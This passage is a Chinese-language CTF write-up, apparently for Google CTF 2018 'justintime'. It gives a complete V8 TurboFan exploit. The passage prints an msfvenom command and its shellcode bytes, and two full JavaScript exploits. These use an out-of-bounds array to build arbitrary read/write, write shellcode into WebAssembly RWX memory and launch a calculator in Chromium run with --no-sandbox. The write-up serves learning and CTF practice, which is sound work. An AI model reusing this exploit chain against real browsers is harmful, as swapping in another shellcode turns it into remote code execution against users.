需要注意的是,在读取WasmExportedFunctionDataAddr时会触发 debug 的越界检查:

1234// v8/src/code-stub-assembler.cc// in CodeStubAssembler::FixedArrayBoundsCheckCSA_CHECK(this, UintPtrLessThan(effective_index, LoadAndUntagFixedArrayBaseLength(array)));

注释掉再重新编译即可。

d. shellcode

最后我们只要将 shellcode 写入该 RWX 地址处并调用 Wasm JSFunction 即可成功执行 shellcode。

使用 msfvenom 生成满足以下条件的 shellcode:

payload为 linux x64

格式为 C语言

命令为DISPLAY=:0 gnome-calculator

1msfvenom -p linux/x64/exec CMD='DISPLAY=:0 gnome-calculator' -f c

输出如下:

12345678Payload size: 67 bytesFinal size of c file: 307 bytesunsigned char buf[] = "\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53""\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6\x52\xe8\x1c\x00""\x00\x00\x44\x49\x53\x50\x4c\x41\x59\x3d\x3a\x30\x20\x67\x6e""\x6f\x6d\x65\x2d\x63\x61\x6c\x63\x75\x6c\x61\x74\x6f\x72\x00""\x56\x57\x48\x89\xe6\x0f\x05"; e. exploit

结合上面的内容,release 版本 v8 的 exp 如下:

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145function log(msg){ console.log(msg); // var elem = document.getElementById("#log"); // elem.innerText += '[+] ' + msg + '\n';}/******* -- 64位整数 与 64位浮点数相互转换的原语 -- *******/var transformBuffer = new ArrayBuffer(8);var bigIntArray = new BigInt64Array(transformBuffer);var floatArray = new Float64Array(transformBuffer);function Int64ToFloat64(int){ bigIntArray[0] = BigInt(int); return floatArray[0];}function Float64ToInt64(float){ floatArray[0] = float; return bigIntArray[0];}/******* -- 修改JSArray length 的操作 -- *******/var oob_arr = [];function opt_me(x){ oob_arr = [1.0, 1.1, 1.2, 1.3, 1.4, 1.5, 1.6]; let t = (x == 1 ? 9007199254740992 : 9007199254740989); t = t + 1 + 1; t -= 9007199254740990; t *= 2; t += 2; oob_arr[t] = 3.4766779039175022e-310; // 0x4000.f2smi}// 试着触发 turboFan,从而修改 JSArray 的 lengthfor(let i = 0; i < 0x10000; i++) opt_me(1);// 简单 checkerif(oob_arr[1023] == undefined) throw "OOB Fail!";else log("[+] oob_arr.length == " + oob_arr.length);/******* -- 任意地址读写原语 -- *******/var array_buffer;array_buffer = new ArrayBuffer(0x233);data_view = new DataView(array_buffer);backing_store_offset = -1;// 确定backing_store_offsetfor(let i = 0; i < 0x4000; i++){ // smi(0x400) == 0x0000023300000000 if(Float64ToInt64(oob_arr[i]) == 0x0000023300000000) { backing_store_offset = i + 1; break; }}// 简单确认一下是否成功找到 backing_storeif(backing_store_offset == -1) throw "backing_store is not found!";else log("[+] find backing_store offset: " + backing_store_offset);function read_8bytes(addr){ oob_arr[backing_store_offset] = Int64ToFloat64(addr); return data_view.getBigInt64(0, true);}function write_8bytes(addr, data){ oob_arr[backing_store_offset] = Int64ToFloat64(addr); data_view.setBigInt64(0, BigInt(data), true);}/******* -- 布置 wasm 地址以及获取 RWX 内存地址 -- *******/function prettyHex(bigint){ return "0x" + BigInt.asUintN(64,bigint).toString(16).padStart(16, '0');}// C++ 代码 `void func() {}` 的 wasm 二进制代码var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,132,128,128,128, 0,1,96,0,0,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5, 131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2, 6,109,101,109,111,114,121,2,0,4,102,117,110,99,0,0,10,136,128,128,128, 0,1,130,128,128,128,0,0,11]);var m = new WebAssembly.Instance(new WebAssembly.Module(wasmCode),{});var WasmJSFunction = m.exports.func;// 将WasmJSFunction 布置到与 oob_arr 数组相同的内存段上// 这里写入了一个哨兵值0x233333,用于查找 WasmJSFunction 地址var WasmJSFunctionObj = {guard: Int64ToFloat64(0x233333), wasmAddr: WasmJSFunction};var WasmJSFunctionIndex = -1;for(let i = 0; i < 0x4000; i++){ // 查找哨兵值 if(Float64ToInt64(oob_arr[i]) == 0x233333) { WasmJSFunctionIndex = i + 1; break; }}// 简单确认一下是否成功找到 WasmJSFunctionAddrif(WasmJSFunctionIndex == -1) throw "WasmJSFunctionAddr is not found!";else log("[+] find WasmJSFunctionAddr offset: " + WasmJSFunctionIndex);// 获取 WasmJSFunction 地址WasmJSFunctionAddr = Float64ToInt64(oob_arr[WasmJSFunctionIndex]) - BigInt(1);log("[+] find WasmJSFunction address: " + prettyHex(WasmJSFunctionAddr));// 获取 SharedFunctionInfo 地址SharedFunctionInfoAddr = read_8bytes(WasmJSFunctionAddr + BigInt(0x18)) - BigInt(1);log("[+] find SharedFunctionInfoAddr address: " + prettyHex(SharedFunctionInfoAddr));// 获取 WasmExportedFunctionData 地址WasmExportedFunctionDataAddr = read_8bytes(SharedFunctionInfoAddr + BigInt(0x8)) - BigInt(1);log("[+] find WasmExportedFunctionDataAddr address: " + prettyHex(WasmExportedFunctionDataAddr));// 获取 WasmInstanceObject 地址WasmInstanceObjectAddr = read_8bytes(WasmExportedFunctionDataAddr + BigInt(0x10)) - BigInt(1);log("[+] find WasmInstanceObjectAddr address: " + prettyHex(WasmInstanceObjectAddr));// 获取 JumpTableStart 地址JumpTableStartAddr = read_8bytes(WasmInstanceObjectAddr + BigInt(0xe8));log("[+] find JumpTableStartAddr address: " + prettyHex(JumpTableStartAddr));/******* -- 写入并执行shell code -- *******/var shellcode = new Uint8Array( [0x6a, 0x3b, 0x58, 0x99, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48, 0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8, 0x1c, 0x00, 0x00, 0x00, 0x44, 0x49, 0x53, 0x50, 0x4c, 0x41, 0x59, 0x3d, 0x3a, 0x30, 0x20, 0x67, 0x6e, 0x6f, 0x6d, 0x65, 0x2d, 0x63, 0x61, 0x6c, 0x63, 0x75, 0x6c, 0x61, 0x74, 0x6f, 0x72, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05]);// 写入shellcode log("[+] writing shellcode ... ");// (尽管单次写入内存的数据大小为8bytes,但为了简便,一次只写入 1bytes 有效数据)for(let i = 0; i < shellcode.length; i++) write_8bytes(JumpTableStartAddr + BigInt(i), shellcode[i]);// 执行shellcodelog("[+] execute calculator !");WasmJSFunction();

最终在 release 版下的 v8 可以成功调用 calculator:

但我们做题实际用到附件是一个带漏洞 v8 的 chromium。为了将 exploit 从 v8 移植到 chromium,其中做了一点点微调,因此最终的 exploit 如下:

这里主要调整了两个地方:

微调了内存布局。 将oob_arr、array_buffer以及WasmJSFunctionObj放的更近,使得内存布局的相对偏移不会太大。这样搜索哨兵值时就不用搜索太多次。 将两个搜索哨兵值的for循环合并成一个。 因为动态调试发现,当第二个for循环开始执行几十个循环后,原先存放 oob_array 以及 WasmJSFunctionObj 内存的数据将会被覆盖,疑似GC因为对象被过多访问而将其移动至另一个内存段上。这对我们泄露地址相当不利,因此合并两个for循环以降低搜索次数。 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131 /******* -- 64位整数 与 64位浮点数相互转换的原语 -- *******/ var transformBuffer = new ArrayBuffer(8); var bigIntArray = new BigInt64Array(transformBuffer); var floatArray = new Float64Array(transformBuffer); function Int64ToFloat64(int) { bigIntArray[0] = BigInt(int); return floatArray[0]; } function Float64ToInt64(float) { floatArray[0] = float; return bigIntArray[0]; } /******* -- 修改JSArray length 的操作 -- *******/ var oob_arr = []; function opt_me(x) { oob_arr = [1.0, 1.1, 1.2, 1.3, 1.4, 1.5, 1.6]; let t = (x == 1 ? 9007199254740992 : 9007199254740989); t = t + 1 + 1; t -= 9007199254740990; t *= 2; t += 2; oob_arr[t] = 3.4766779039175022e-310; // 0x4000.f2smi } // 试着触发 turboFan,从而修改 JSArray 的 length for (let i = 0; i < 0x10000; i++) opt_me(1); // 简单 checker if (oob_arr[1023] == undefined) throw "OOB Fail!"; else console.log("[+] oob_arr.length == " + oob_arr.length); /******* -- 布置内存(使 oob_array、array_buffer 以及 WasmJSFunctionObj 相邻) -- *******/ // 注意必须在执行完turboFan后开始布置 var array_buffer; array_buffer = new ArrayBuffer(0x233); data_view = new DataView(array_buffer); backing_store_offset = -1; // C++ 代码 `void func() {}` 的 wasm 二进制代码 var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 132, 128, 128, 128, 0, 1, 96, 0, 0, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 102, 117, 110, 99, 0, 0, 10, 136, 128, 128, 128, 0, 1, 130, 128, 128, 128, 0, 0, 11]); var m = new WebAssembly.Instance(new WebAssembly.Module(wasmCode), {}); var WasmJSFunction = m.exports.func; // 将WasmJSFunction 布置到与 oob_arr 数组相同的内存段上 // 这里写入了一个哨兵值0x233333,用于查找 WasmJSFunction 地址 var WasmJSFunctionObj = { guard: Int64ToFloat64(0x233333), wasmAddr: WasmJSFunction }; var WasmJSFunctionIndex = -1; /******* -- 任意地址读写原语 -- *******/ // 确定backing_store_offset 以及 WasmJSFunctionIndex // 只用一个for循环,只遍历一次 for (let i = 0; i < 0x4000; i++) { let val = Float64ToInt64(oob_arr[i]); // 开始查找哨兵值 // 在查找array_buffer的backing_store时,注意DataView在Array_buffer高地址处 // 查找哨兵值时有可能会查找到错误的位置,因此这里只取查找到的第一个地方 if (backing_store_offset == -1 && val == 0x0000023300000000) { backing_store_offset = i + 1; console.log("[+] find backing_store offset: " + backing_store_offset); } else if (WasmJSFunctionIndex == -1 && val == 0x233333) { WasmJSFunctionIndex = i + 1; console.log("[+] find WasmJSFunctionAddr offset: " + WasmJSFunctionIndex); } // 如果都找到了就不用再找,以免碰上SIGMAP if (backing_store_offset != -1 && WasmJSFunctionIndex != -1) break; } // 简单确认一下是否成功找到 backing_store if (backing_store_offset == -1) throw "backing_store is not found!"; // 简单确认一下是否成功找到 WasmJSFunctionAddr else if (WasmJSFunctionIndex == -1) throw "WasmJSFunctionAddr is not found!"; function read_8bytes(addr) { oob_arr[backing_store_offset] = Int64ToFloat64(addr); return data_view.getBigInt64(0, true); } function write_8bytes(addr, data) { oob_arr[backing_store_offset] = Int64ToFloat64(addr); data_view.setBigInt64(0, BigInt(data), true); } /******* -- 布置 wasm 地址以及获取 RWX 内存地址 -- *******/ function prettyHex(bigint) { return "0x" + BigInt.asUintN(64, bigint).toString(16).padStart(16, '0'); } // 获取 WasmJSFunction 地址 WasmJSFunctionAddr = Float64ToInt64(oob_arr[WasmJSFunctionIndex]) - BigInt(1); console.log("[+] find WasmJSFunction address: " + prettyHex(WasmJSFunctionAddr)); // 获取 SharedFunctionInfo 地址 SharedFunctionInfoAddr = read_8bytes(WasmJSFunctionAddr + BigInt(0x18)) - BigInt(1); console.log("[+] find SharedFunctionInfoAddr address: " + prettyHex(SharedFunctionInfoAddr)); // 获取 WasmExportedFunctionData 地址 WasmExportedFunctionDataAddr = read_8bytes(SharedFunctionInfoAddr + BigInt(0x8)) - BigInt(1); console.log("[+] find WasmExportedFunctionDataAddr address: " + prettyHex(WasmExportedFunctionDataAddr)); // 获取 WasmInstanceObject 地址 WasmInstanceObjectAddr = read_8bytes(WasmExportedFunctionDataAddr + BigInt(0x10)) - BigInt(1); console.log("[+] find WasmInstanceObjectAddr address: " + prettyHex(WasmInstanceObjectAddr)); // 获取 JumpTableStart 地址 JumpTableStartAddr = read_8bytes(WasmInstanceObjectAddr + BigInt(0xe8)); console.log("[+] find JumpTableStartAddr address: " + prettyHex(JumpTableStartAddr)); /******* -- 写入并执行shell code -- *******/ var shellcode = new Uint8Array( [0x6a, 0x3b, 0x58, 0x99, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48, 0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8, 0x1c, 0x00, 0x00, 0x00, 0x44, 0x49, 0x53, 0x50, 0x4c, 0x41, 0x59, 0x3d, 0x3a, 0x30, 0x20, 0x67, 0x6e, 0x6f, 0x6d, 0x65, 0x2d, 0x63, 0x61, 0x6c, 0x63, 0x75, 0x6c, 0x61, 0x74, 0x6f, 0x72, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05] ); // 写入shellcode console.log("[+] writing shellcode ... "); // (尽管单次写入内存的数据大小为8bytes,但为了简便,一次只写入 1bytes 有效数据) for (let i = 0; i < shellcode.length; i++) write_8bytes(JumpTableStartAddr + BigInt(i), shellcode[i]); // 执行shellcode console.log("[+] try to execute shellcode ... "); WasmJSFunction();

使用如下命令以执行exp:

1chrome/chrome --no-sandbox --user-data-dir=./userdata http://127.0.0.1:8000/test.html

尽管给出的附件打了no-sandbox的patch,但实际exp仍然无法执行,必须附加参数--no-sandbox才能成功触发,玄学问题XD。

效果如下:

![img](v8-turboFan/exp.gif %}

七、参考 Introduction to TurboFan google-ctf-2018-browser-pwn分析 Why I failed to trigger Bound Check Elimination in Google CTF 2018 Final JIT Google CTF justintime writeup - 先知社区


【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3